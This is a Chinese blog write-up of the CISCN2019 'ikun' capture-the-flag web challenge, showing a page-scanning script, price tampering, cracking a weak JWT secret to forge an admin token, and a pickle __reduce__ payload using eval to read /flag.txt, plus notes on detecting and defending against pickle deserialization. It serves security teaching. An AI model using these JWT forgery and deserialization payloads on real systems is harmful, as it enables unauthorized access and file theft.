[CISCN2019 华北赛区 Day1 Web2]ikun

本文详细介绍了如何通过JWT令牌修改权限为admin,并利用pickle反序列化漏洞读取flag.txt文件。博客内容涉及JWT的原理、pickle模块的反序列化过程,以及如何利用__reduce__魔术方法构造payload实现漏洞利用。最终,通过抓包修改请求,成功获取flag。
摘要由CSDN通过智能技术生成

[CISCN2019 华北赛区 Day1 Web2]ikun

jwt
pickle反序列化

jwt的含义:JWT(Json web token)的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息。说白了看就是个cookie

但从原理上讲它相对于传统的session认证更具扩展性而且会较少的占用服务器资源,这里不做过多研究

回到这道题先注册登录,然后发现在主页上有一个提示
在这里插入图片描述

提示我们在下边找到并去购买lv6这个商品,找了几页也没找到,直接让page=200发现还有商品,整这么多肯定得跑脚本咯。

#-- coding:UTF-8 --
#!/usr/bin/env python
import requests
url="http://efae4620-acff-4253-9df8-8d52a0ff15bb.node4.buuoj.cn:81/shop?page="

for i in range(0,2000):

	r=requests.get(url+str(i))
	if 'lv6.png' in r.text:
		print (i)
		break

跑出来page=181

在这里插入图片描述

贵了点,个人账号只有一千元,第一反应是能不能抓包修改

在这里插入图片描述

直接把折扣给改了

在这里插入图片描述

然而它说只有admin才能访问,这时候我们想起来了前边cookie里边有个jwt,用base64解码查看一下在这里插入图片描述

username是我们注册的用户名111

在这里插入图片描述

破解出来密钥是1kun,然后扔到jwt在线网站上把用户名给改成admin

在这里插入图片描述

然后抓包上传,把修改完的jwt替换掉,把discount改掉

在这里插入图片描述

然后一键就没反应了,不可能肯定会有什么有用的信息出来了,查看源码,在这里插入图片描述

果然有源码泄露了,查看admin.py

from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

发现漏洞点:

pickle反序列化

pickle提供了一个简单的持久化功能:可以将对象以文件的形式存放在磁盘上。

pickle模块只能在python中使用,python中几乎所有的数据类型(列表,字典,集合,类等)都可以用pickle来序列化。

pickle序列化后的数据,可读性差,反正我读不了。

p = pickle.loads(urllib.unquote(become))

  • urllib.unquote:将存入的字典参数编码为URL查询字符串,即转化为以key1=value1&key2=value2的形式

  • pickle.loads(bytes_object)从字节对象中读取被封装的对象,并返回,可以这么理解:我们构建一个类,类里面的_reduce_python魔术方法会在该类被反序列化的时候被调用pickle模块中最常见的函数

pickle中常见函数:

  1. pickle.dump(obj,file,[,protocol])

    函数功能:将obj对象序列化存入已经打开的file中。
    
    参数讲解:
    
    obj:想要序列化的obj对象
    file:文件名称。
    protocol:序列化使用的协议。如果该项省略则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本
    
  2. pickle.load(file)

    函数功能:将file中的对象序列化读出。
    
    参数讲解:
    
    file:文件名称
    
  3. pickle.dumps(obj[,protocol])

    函数功能:将obj对象序列化为string形式,而不是存入文件中。
    
    参数讲解:
    
    obj:想要序列化的obj对象。
    protocol:如果省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本
    
  4. pickle.loads(string)

    函数的功能:从string中读取序列化前的obj对象。
    
    参数讲解:
    
    string:文件名称。
    PS:dump() 与 load() 相比 dumps() 和 loads() 还有另一种能力:dump()函数能一个接着一个地将几个对象序列化存储到同一个文件中,随后调用load()来以同样的顺序反序列化读出这些对象。而在__reduce__方法里面我们就进行读取flag.txt文件,并将该类序列化之后进行URL编码
    

    检测反序列化的方法:

    全局搜索python代码中是否含有关键字类似“import pickle”或者“import cPickle”,若存在则进一步确认是否调用pickle.loads()或cPickle.loads()且反序列化的参数可控
    

    防御方法

    1,用更高级的接口__getnewargs()、__getstate__()、__setstate__()等代替__reduce__()魔术方法;
    
    2,进行反序列化之前,进行严格的过滤,若采用的是pickle库可采用装饰器实现。
    

    本题的解题方法:使用__reduce__()魔术方法

img

我们利用_reduce_这个类来读取flag.txt文件,并将该类序列化的结果进行URL编码

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

当__reduce__被定义之后,该对象被Pickle时就会被调用我们这里的eval用于重建对象的时候调用,即告诉python如何pickle他们供eval使用的即打开的文件flag.txt其他的参数我们可以不填

在这里插入图片描述

将得到的结果抓包上传得到flag

参考文章:

https://blog.csdn.net/SKI_12/article/details/85015803
https://www.cnblogs.com/wangtanzhi/p/12178311.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值